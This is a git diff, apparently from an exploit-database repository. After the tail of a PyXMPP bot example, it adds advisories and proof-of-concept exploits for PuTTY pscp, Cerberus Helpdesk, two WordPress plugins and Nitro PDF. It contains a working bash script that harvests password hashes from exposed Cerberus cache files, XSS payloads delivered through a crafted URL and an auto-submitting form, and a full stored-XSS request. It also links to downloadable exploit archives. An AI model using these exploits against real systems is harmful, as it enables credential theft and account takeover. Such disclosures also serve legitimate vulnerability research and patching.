msg+=u" has canceled his subscription of our."
|
||||||
|
elif t=="unsubscribed":
|
||||||
|
msg+=u" has canceled our subscription of his presence."
|
||||||
|
|
||||||
|
print msg
|
||||||
|
|
||||||
|
return stanza.make_accept_response()
|
||||||
|
|
||||||
|
|
||||||
|
class VersionHandler(object):
|
||||||
|
"""Provides handler for a version query.
|
||||||
|
|
||||||
|
This class will answer version query and announce 'jabber:iq:version' namespace
|
||||||
|
in the client's disco#info results."""
|
||||||
|
|
||||||
|
implements(IIqHandlersProvider, IFeaturesProvider)
|
||||||
|
|
||||||
|
def __init__(self, client):
|
||||||
|
"""Just remember who created this."""
|
||||||
|
self.client = client
|
||||||
|
|
||||||
|
def get_features(self):
|
||||||
|
"""Return namespace which should the client include in its reply to a
|
||||||
|
disco#info query."""
|
||||||
|
return ["jabber:iq:version"]
|
||||||
|
|
||||||
|
def get_iq_get_handlers(self):
|
||||||
|
"""Return list of tuples (element_name, namespace, handler) describing
|
||||||
|
handlers of <iq type='get'/> stanzas"""
|
||||||
|
return [
|
||||||
|
("query", "jabber:iq:version", self.get_version),
|
||||||
|
]
|
||||||
|
|
||||||
|
def get_iq_set_handlers(self):
|
||||||
|
"""Return empty list, as this class provides no <iq type='set'/> stanza handler."""
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_version(self,iq):
|
||||||
|
"""Handler for jabber:iq:version queries.
|
||||||
|
|
||||||
|
jabber:iq:version queries are not supported directly by PyXMPP, so the
|
||||||
|
XML node is accessed directly through the libxml2 API. This should be
|
||||||
|
used very carefully!"""
|
||||||
|
iq=iq.make_result_response()
|
||||||
|
q=iq.new_query("jabber:iq:version")
|
||||||
|
q.newTextChild(q.ns(),"name","Echo component")
|
||||||
|
q.newTextChild(q.ns(),"version","1.0")
|
||||||
|
return iq
|
||||||
|
|
||||||
|
class Client(JabberClient):
|
||||||
|
"""Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient`
|
||||||
|
class as base. That class provides basic stream setup (including
|
||||||
|
authentication) and Service Discovery server. It also does server address
|
||||||
|
and port discovery based on the JID provided."""
|
||||||
|
|
||||||
|
def __init__(self, jid, password, tls_cacerts):
|
||||||
|
# if bare JID is provided add a resource -- it is required
|
||||||
|
if not jid.resource:
|
||||||
|
jid=JID(jid.node, jid.domain, "attacktest")
|
||||||
|
|
||||||
|
if tls_cacerts:
|
||||||
|
if tls_cacerts == 'tls_noverify':
|
||||||
|
tls_settings = TLSSettings(require = True, verify_peer = False)
|
||||||
|
else:
|
||||||
|
tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts)
|
||||||
|
else:
|
||||||
|
tls_settings = None
|
||||||
|
|
||||||
|
# setup client with provided connection information
|
||||||
|
# and identity data
|
||||||
|
JabberClient.__init__(self, jid, password,
|
||||||
|
disco_name="PyXMPP example: echo bot", disco_type="bot",
|
||||||
|
tls_settings = tls_settings)
|
||||||
|
|
||||||
|
# add the separate components
|
||||||
|
self.interface_providers = [
|
||||||
|
VersionHandler(self),
|
||||||
|
EchoHandler(self),
|
||||||
|
]
|
||||||
|
|
||||||
|
def stream_state_changed(self,state,arg):
|
||||||
|
"""This one is called when the state of stream connecting the component
|
||||||
|
to a server changes. This will usually be used to let the user
|
||||||
|
know what is going on."""
|
||||||
|
print "*** State changed: %s %r ***" % (state,arg)
|
||||||
|
|
||||||
|
def print_roster_item(self,item):
|
||||||
|
if item.name:
|
||||||
|
name=item.name
|
||||||
|
else:
|
||||||
|
name=u""
|
||||||
|
print (u'%s "%s" subscription=%s groups=%s'
|
||||||
|
% (unicode(item.jid), name, item.subscription,
|
||||||
|
u",".join(item.groups)) )
|
||||||
|
|
||||||
|
def roster_updated(self,item=None):
|
||||||
|
if not item:
|
||||||
|
print u"My roster:"
|
||||||
|
for item in self.roster.get_items():
|
||||||
|
self.print_roster_item(item)
|
||||||
|
return
|
||||||
|
print u"Roster item updated:"
|
||||||
|
self.print_roster_item(item)
|
||||||
|
|
||||||
|
# XMPP protocol is Unicode-based to properly display data received
|
||||||
|
# _must_ convert it to local encoding or UnicodeException may be raised
|
||||||
|
locale.setlocale(locale.LC_CTYPE, "")
|
||||||
|
encoding = locale.getlocale()[1]
|
||||||
|
if not encoding:
|
||||||
|
encoding = "us-ascii"
|
||||||
|
sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace")
|
||||||
|
sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace")
|
||||||
|
|
||||||
|
|
||||||
|
# PyXMPP uses `logging` module for its debug output
|
||||||
|
# applications should set it up as needed
|
||||||
|
logger = logging.getLogger()
|
||||||
|
logger.addHandler(logging.StreamHandler())
|
||||||
|
logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print u"Usage:"
|
||||||
|
print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],)
|
||||||
|
print "example:"
|
||||||
|
print "\t%s test@localhost verysecret" % (sys.argv[0],)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print u"creating client..."
|
||||||
|
|
||||||
|
c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None)
|
||||||
|
|
||||||
|
print u"connecting..."
|
||||||
|
c.connect()
|
||||||
|
|
||||||
|
print u"looping..."
|
||||||
|
try:
|
||||||
|
# Component class provides basic "main loop" for the applitation
|
||||||
|
# Though, most applications would need to have their own loop and call
|
||||||
|
# component.stream.loop_iter() from it whenever an event on
|
||||||
|
# component.stream.fileno() occurs.
|
||||||
|
c.loop(1)
|
||||||
|
except IOError, e:
|
||||||
|
if e.errno == errno.EPIPE:
|
||||||
|
# IGNORE EPIPE error
|
||||||
|
print "PIPE ERROR -- IGNORING"
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print u"disconnecting..."
|
||||||
|
c.disconnect()
|
||||||
|
|
||||||
|
print u"exiting..."
|
||||||
|
# vi: sts=4 et sw=4
|
35
platforms/multiple/dos/39551.txt
Executable file
35
platforms/multiple/dos/39551.txt
Executable file
|
@ -0,0 +1,35 @@
|
||||||
|
Source: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-2563
|
||||||
|
|
||||||
|
Author: <github.com/tintinweb>
|
||||||
|
Date: Feb 20th, 2016
|
||||||
|
Name: putty
|
||||||
|
Vendor: sgtatham - http://www.chiark.greenend.org.uk/~sgtatham/putty/
|
||||||
|
|
||||||
|
Version: 0.59 [3] (~9 years ago) <= affected <= 0.66
|
||||||
|
Platform(s): win/nix
|
||||||
|
Technology: c
|
||||||
|
|
||||||
|
Vuln Classes: stack buffer overwrite (CWE-121)
|
||||||
|
Origin: remote
|
||||||
|
Min. Privs.: post auth
|
||||||
|
CVE: CVE-2016-2563
|
||||||
|
|
||||||
|
Summary
|
||||||
|
|
||||||
|
The putty SCP command-line utility (pscp) is missing a bounds-check for a stack buffer when processing the SCP-SINK file-size response to a SCP download request. This may allow a malicious server to overwrite the stack buffer within the client- application potentially leading to remote code execution.
|
||||||
|
|
||||||
|
PoC attached. patch attached.
|
||||||
|
|
||||||
|
Besides that, two minor issues have been reported in putty packet handling:
|
||||||
|
|
||||||
|
DoS condition in the parsing of SSH-Strings that lead to a nullptr read. (connect putty to poc.py and type x11exploit to trigger one of multiple occurrence of a crash, also works with x11forwarding disabled in putty)
|
||||||
|
DoS condition in the handling of unrequested forwarded-tcpip channels open requests that lead to a nullptr read. (connect putty to poc.py and type forwardedtcpipcrash to trigger crash)
|
||||||
|
|
||||||
|
Details
|
||||||
|
|
||||||
|
The vulnerable code is located in pscp.c [4] line 1498 (HEAD) and is based on an unbound sscanf string format descriptor storing an arbitrary length string in a 40byte fixed size stack buffer sizestr[40].
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39551.zip
|
||||||
|
|
38
platforms/php/webapps/39526.sh
Executable file
38
platforms/php/webapps/39526.sh
Executable file
|
@ -0,0 +1,38 @@
|
||||||
|
#!/bin/bash
|
||||||
|
#####################################################################################
|
||||||
|
# Exploit Title: Cerberus Helpdesk (Cerb5) Password Hash Grabbing #
|
||||||
|
# Date: 04.02.2016 #
|
||||||
|
# Exploit Author: asdizzle_ #
|
||||||
|
# Vendor Homepage: http://www.cerberusweb.com/ #
|
||||||
|
# Software Link: http://www.cerberusweb.com/downloads/cerb5/archive/cerb5-5_4_4.zip #
|
||||||
|
# Version: 5 - 6.7 #
|
||||||
|
# Tested on: Debian 8 / apache2 with cerb 5 #
|
||||||
|
#####################################################################################
|
||||||
|
# Prerequisites: #
|
||||||
|
# -At least one worker must be logged in #
|
||||||
|
# -/storage/tmp/ dir must be accessible #
|
||||||
|
# #
|
||||||
|
# If everything else fails try if there's directory listing in /storage/tmp #
|
||||||
|
# You might find attachments and even support tickets. #
|
||||||
|
#####################################################################################
|
||||||
|
|
||||||
|
url='http://172.16.15.137/cerb5/5.4.4' # Full url (without /index.php/ !)
|
||||||
|
pre='devblocks' # If this doesn't work try 'zend'
|
||||||
|
|
||||||
|
echo "[*] Trying to fetch cache file"
|
||||||
|
|
||||||
|
cachechk=$(curl -s $url"/storage/tmp/"$pre"_cache---ch_workers" | grep pass)
|
||||||
|
if [ -z "$cachechk" ];then
|
||||||
|
echo "[-] File not found."
|
||||||
|
exit
|
||||||
|
else
|
||||||
|
echo "[+] Found. Extracting..."
|
||||||
|
hashes=$(echo "$cachechk" | sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g')
|
||||||
|
if [ -z "$hashes" ];then
|
||||||
|
echo "[-] Hash extracting failed"
|
||||||
|
else
|
||||||
|
echo "[+] Extracting seems to have worked"
|
||||||
|
echo
|
||||||
|
echo "$hashes"
|
||||||
|
fi
|
||||||
|
fi
|
34
platforms/php/webapps/39547.txt
Executable file
34
platforms/php/webapps/39547.txt
Executable file
|
@ -0,0 +1,34 @@
|
||||||
|
* Exploit Title: BWS Captcha Multiple Vulnerabilities
|
||||||
|
* Discovery Date:12.03.2015
|
||||||
|
* Public Disclosure Date:03.10.2016
|
||||||
|
* Exploit Author: Colette Chamberland
|
||||||
|
* Contact: colette@wordfence.com
|
||||||
|
* Vendor Homepage: http://bestwebsoft.com/
|
||||||
|
* Software Link: https://wordpress.org/plugins/captcha/
|
||||||
|
* Version: <=4.1.5
|
||||||
|
* Tested on: Wordpress 4.2.x
|
||||||
|
* Category: Wordpress
|
||||||
|
* CVE: Requested but none received
|
||||||
|
|
||||||
|
Description
|
||||||
|
================================================================================
|
||||||
|
Unsanitized input in whitelist.php:
|
||||||
|
|
||||||
|
297: $message = __( 'Search results for', $this->textdomain ) . ' : ' . $_REQUEST['s'];
|
||||||
|
|
||||||
|
|
||||||
|
PoC
|
||||||
|
================================================================================
|
||||||
|
The variable can be passed in using a get as well as a post. An attacker
|
||||||
|
could send unsuspecting authenticated admin a url crafted like such:
|
||||||
|
|
||||||
|
http://wwww.victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist&s=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
|
||||||
|
|
||||||
|
or they can send a form (no CSRF token check)
|
||||||
|
|
||||||
|
<form method="post" action="http://victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist">
|
||||||
|
<input type="hidden" name="s" value="<script>alert(1);</script>">
|
||||||
|
<input type="submit" name="Search IP" value="Click here to claim your prize!">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
and it would execute XSS as long as they were logged in to the site.
|
194
platforms/php/webapps/39548.txt
Executable file
194
platforms/php/webapps/39548.txt
Executable file
|
@ -0,0 +1,194 @@
|
||||||
|
1. Introduction
|
||||||
|
|
||||||
|
|
||||||
|
# Exploit Title: WordPress WP Advanced Comment 0.10 Persistent XSS
|
||||||
|
# Date: Mar.09.2016
|
||||||
|
# Exploit Author: Mohammad Khaleghi
|
||||||
|
# Contact: https://twitter.com/_blackmatrix
|
||||||
|
# Vendor: Ravi Shakya
|
||||||
|
# Tested On: Apache2.2 / PHP5 / Kali 64 / WordPress 4.4.1
|
||||||
|
# Category: Webapps
|
||||||
|
# Software Link: https://wordpress.org/support/plugin/wp-advance-comment
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
2. Description
|
||||||
|
|
||||||
|
WP Advanced Comment 0.10 plugin does not have XSS protection, which means that an attacker can change the POST request , value of " name="comment[meta_value]" " parameter , it's not escaped . XSS is visible for admin
|
||||||
|
|
||||||
|
File : wp-content\plugins\wp-advance-comment\shortcodes\comment-form.php
|
||||||
|
|
||||||
|
|
||||||
|
<!-- Show Comments -->
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
if( $option[$id]['other']['comment_position'] == 1 ){
|
||||||
|
|
||||||
|
echo $this->show_like_dislike_button( $value['comment_ID'] ,
|
||||||
|
$option[$id]['other'] , 'top' );
|
||||||
|
|
||||||
|
echo '<p>'.$value['comment_content'].'</p>';
|
||||||
|
|
||||||
|
echo $this->show_like_dislike_button( $value['comment_ID'] ,
|
||||||
|
$option[$id]['other'] , 'bottom' );
|
||||||
|
|
||||||
|
}?>
|
||||||
|
|
||||||
|
<!-- Get the comment meta -->
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
$data = get_option( 'wpad_comment_form' );
|
||||||
|
|
||||||
|
if( !empty( $data[$id] ) ):
|
||||||
|
?>
|
||||||
|
|
||||||
|
<div class="wpad_comment_meta">
|
||||||
|
<ul>
|
||||||
|
<?php
|
||||||
|
foreach( $data[$id] as $key => $value1 ){
|
||||||
|
$show_admin = isset($value1['show_admin']) ?
|
||||||
|
$value1['show_admin'] : 0; $privelage = $this->check_administrator( $show_admin );
|
||||||
|
|
||||||
|
if ( !empty( $value1['meta_key'] ) && is_numeric( $key ) && $value1['meta_key'] != 'user_name' && $value1
|
||||||
|
['meta_key'] != 'user_email' && $value1['custom_field'] != 'user_image' &&
|
||||||
|
$value1['meta_key'] != 'wpad_comment' && $privelage == true ) {
|
||||||
|
|
||||||
|
$meta_key = $value1['meta_key'];
|
||||||
|
$label = $value1['label'];
|
||||||
|
|
||||||
|
$meta_value = get_comment_meta( $value['comment_ID'] ,
|
||||||
|
$meta_key , true ); if( !empty( $meta_value ) ) {
|
||||||
|
|
||||||
|
if( $value1['custom_field'] == 'radio' ) {
|
||||||
|
|
||||||
|
$radio_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'radio' );
|
||||||
|
$this->display_comment_metas_frontend( $label , $radio_value );
|
||||||
|
}
|
||||||
|
elseif ( $value1['custom_field'] == 'checkbox' ) {
|
||||||
|
|
||||||
|
$check_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'checkbox');
|
||||||
|
$this->display_comment_metas_frontend( $label , $check_value ); }
|
||||||
|
else {
|
||||||
|
$this->display_comment_metas_frontend( $label , $meta_value );
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<?php endif; ?>
|
||||||
|
|
||||||
|
<!-- Show Comments -->
|
||||||
|
|
||||||
|
|
||||||
|
3. Proof of Concept
|
||||||
|
|
||||||
|
Request :
|
||||||
|
__________________________________________________________________________
|
||||||
|
|
||||||
|
Host=127.0.0.1:8080
|
||||||
|
User-Agent=Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
|
||||||
|
Accept=*/*
|
||||||
|
X-Requested-With=XMLHttpRequest
|
||||||
|
Referer=http://127.0.0.1:8080/wordpress/2016/02/02/hello-world/
|
||||||
|
Content-Length=1399
|
||||||
|
Content-Type=multipart/form-data;
|
||||||
|
boundary=---------------------------23741051518289624461916684164
|
||||||
|
|
||||||
|
Cookie=wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C5a52d446b3c1782856a5021a38e5b1431297eca6fa81946694ebfdf305 994a84; wordpress_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7Cfeedc6beb6fc4d7fc7719fd1e45666b270f598a8294df146742750fd43 2ca5b3; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C80f4e9b382b8b316ba8967a1651ea91cecc45300c13c754f528a17ade8 475032; wp-settings-time-1=1454782581; wp-settings-time-2=1454752438; wordpress_logged_in_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7C8ff14befe34a2a5f1c4c6d93123e6afce4af2c43272a0351f2ce9b1499 1c180f; wordpress_test_cookie=WP+Cookie+check
|
||||||
|
|
||||||
|
Connection=keep-alive
|
||||||
|
Pragma=no-cache
|
||||||
|
Cache-Control=no-cache
|
||||||
|
|
||||||
|
POSTDATA =-----------------------------23741051518289624461916684164
|
||||||
|
|
||||||
|
Content-Disposition: form-data; name="action"
|
||||||
|
|
||||||
|
wpad_save_comment
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
|
||||||
|
23741051518289624461916684164 Content-Disposition: form-data; name="post_id"
|
||||||
|
|
||||||
|
|
||||||
|
1
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
|
||||||
|
23741051518289624461916684164 Content-Disposition: form-data; name="form_id"
|
||||||
|
|
||||||
|
417
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
23741051518289624461916684164 Content-Disposition: form-data; name="email_me_on_approve"
|
||||||
|
|
||||||
|
undefined
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_value]"
|
||||||
|
|
||||||
|
bourne
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_key]"
|
||||||
|
|
||||||
|
user_name
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_value]"
|
||||||
|
|
||||||
|
jason_bourne110@yahoo.com
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
|
||||||
|
23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_key]"
|
||||||
|
|
||||||
|
user_email
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
|
||||||
|
23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_value]"
|
||||||
|
|
||||||
|
Hack <script>alert("Hacked")</script>
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_key]"
|
||||||
|
|
||||||
|
comment
|
||||||
|
|
||||||
|
-----------------------------
|
||||||
|
23741051518289624461916684164--
|
||||||
|
|
||||||
|
|
||||||
|
Response
|
||||||
|
______________________________________________________________________
|
||||||
|
|
||||||
|
Status=OK - 200
|
||||||
|
Date=Sat, 06 Feb 2016 18:18:43 GMT
|
||||||
|
Server=Apache X-Frame-Options=SAMEORIGIN, SAMEORIGIN X-Powered-By=PHP/5.5.29 X-Robots-Tag=noindex x-content-type-options=nosniff Expires=Wed, 11 Jan 1984 05:00:00 GMT
|
||||||
|
Cache-Control=no-cache, must-revalidate, max-age=0 Pragma=no-cache
|
||||||
|
Content-Length=7
|
||||||
|
Keep-Alive=timeout=5, max=100
|
||||||
|
Connection=Keep-Alive
|
||||||
|
Content-Type=text/html; charset=UTF-8
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
4. Report Timeline
|
||||||
|
|
||||||
|
09-03-2016 : Discovered
|
||||||
|
09-03-2016 : Vendor notified
|
||||||
|
09-03-2016 : Vendor Responded
|
||||||
|
09-03-2016 : Vendor fixed the problem
|
||||||
|
|
||||||
|
|
||||||
|
5. Solution
|
||||||
|
|
||||||
|
Update to version 0.11
|
71
platforms/windows/dos/39546.txt
Executable file
71
platforms/windows/dos/39546.txt
Executable file
|
@ -0,0 +1,71 @@
|
||||||
|
#####################################################################################
|
||||||
|
|
||||||
|
Application: Nitro PDF
|
||||||
|
|
||||||
|
Platforms: Windows
|
||||||
|
|
||||||
|
Versions: Nitro Pro 10.5.7.32 and lower & Nitro Reader 5.5.3.1 and lower
|
||||||
|
|
||||||
|
Author: Francis Provencher of COSIG
|
||||||
|
|
||||||
|
Website: http://www.protekresearchlab.com/
|
||||||
|
|
||||||
|
Twitter: @COSIG_ @protekresearch
|
||||||
|
|
||||||
|
#####################################################################################
|
||||||
|
|
||||||
|
1) Introduction
|
||||||
|
2) Report Timeline
|
||||||
|
3) Technical details
|
||||||
|
4) POC
|
||||||
|
|
||||||
|
#####################################################################################
|
||||||
|
|
||||||
|
===============
|
||||||
|
1) Introduction
|
||||||
|
===============
|
||||||
|
|
||||||
|
Nitro develops commercial software used to create, edit, sign, and secure Portable Document Format (PDF) files and digital documents. The Nitro ecosystem consists of Nitro Pro, Nitro Cloud, Nitro Reader, and a suite of document conversion sites.
|
||||||
|
|
||||||
|
Nitro’s product family is intended for the professional market and although its desktop products are Windows-only, Nitro Cloud is compatible with any web browser on any machine. The Nitro PDF Reader is freeware for both personal and professional use.
|
||||||
|
|
||||||
|
(https://en.wikipedia.org/wiki/Nitro_PDF)
|
||||||
|
|
||||||
|
#####################################################################################
|
||||||
|
|
||||||
|
============================
|
||||||
|
2) Report Timeline
|
||||||
|
============================
|
||||||
|
|
||||||
|
2015-12-29: Francis Provencher from COSIG report issue to GoNitro sales team;
|
||||||
|
2016-01-02: GoNitro confirmed this issue;
|
||||||
|
2016-01-21: GoNitro fixed this issue;
|
||||||
|
|
||||||
|
https://www.gonitro.com/support/security-update
|
||||||
|
#####################################################################################
|
||||||
|
|
||||||
|
============================
|
||||||
|
3) Technical details
|
||||||
|
============================
|
||||||
|
|
||||||
|
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Nitro PDF 10 (10.5.7.32).
|
||||||
|
User interaction is required to exploit this vulnerability in that the target must open a malicious file.
|
||||||
|
|
||||||
|
A specially crafted PDF with a specific FunctionType 0 and an invalid /Domain can force an heap memory corruption
|
||||||
|
|
||||||
|
by pointing to an uninitialized space of memory.An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process.1
|
||||||
|
|
||||||
|
.
|
||||||
|
|
||||||
|
#####################################################################################
|
||||||
|
|
||||||
|
===========
|
||||||
|
|
||||||
|
4) POC
|
||||||
|
|
||||||
|
===========
|
||||||
|
|
||||||
|
http://protekresearchlab.com/exploits/COSIG-2016-13.pdf
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39546.zip
|
||||||
|
|
||||||
|
###############################################################################
|
Loading…
Add table
Reference in a new issue